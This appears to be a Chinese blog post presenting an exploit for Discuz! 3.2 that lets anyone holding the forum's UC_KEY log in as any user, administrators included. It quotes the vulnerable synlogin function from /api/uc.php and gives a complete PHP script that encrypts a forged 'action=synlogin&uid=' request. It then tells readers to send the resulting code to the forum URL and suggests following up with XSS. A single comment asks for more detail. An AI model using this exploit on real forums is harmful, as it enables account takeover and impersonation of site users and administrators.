Discuz!3.2 利用UC_KEY登陆任意用户

Discuz!3.2 最新版本利用UC_KEY登陆任意用户
前提得知道uc_key哦…

几乎所有版本都可以吧
/api/uc.php里面有个synlogin方法是用来登陆的,只需要一个uid

function synlogin($get, $post) {
                global $_G;

                if(!API_SYNLOGIN) {
                        return API_RETURN_FORBIDDEN;
                }

                header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');

                $cookietime = 31536000;
                $uid = intval($get['uid']);
                if(($member = getuserbyuid($uid, 1))) {
                        dsetcookie('auth', authcode("$member[password]\t$member[uid]", 'ENCODE'), $cookietime);
                }
        }

只要网上随便找个以前uc_key  getshell的脚本加密一下这个’time=’.time().’&action=synlogin&uid=你要登陆的用户的id’;

<?php
$uc_key="xxxxxx";
$a = 'time='.time().'&action=synlogin&uid=1';
echo $code=urlencode(_authcode($a, 'ENCODE', $uc_key));
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
 
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
 
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
 
    $result = '';
    $box = range(0, 255);
 
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
 
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
 
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
 
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
 
}

得到code后直接访问 论坛url/api/uc.php?code=你加密后的code,就能登陆了,admin管理员也是可以登陆的..

sff

 

虽然不能登陆后台 但是危害性还是很大的  可以试试xss

Tags:
文 / admin
1 COMMENTS
  1. 2015/10/11
    SS

    这个具体操作如何,可以具体说下不

LEAVE A REPLY

loading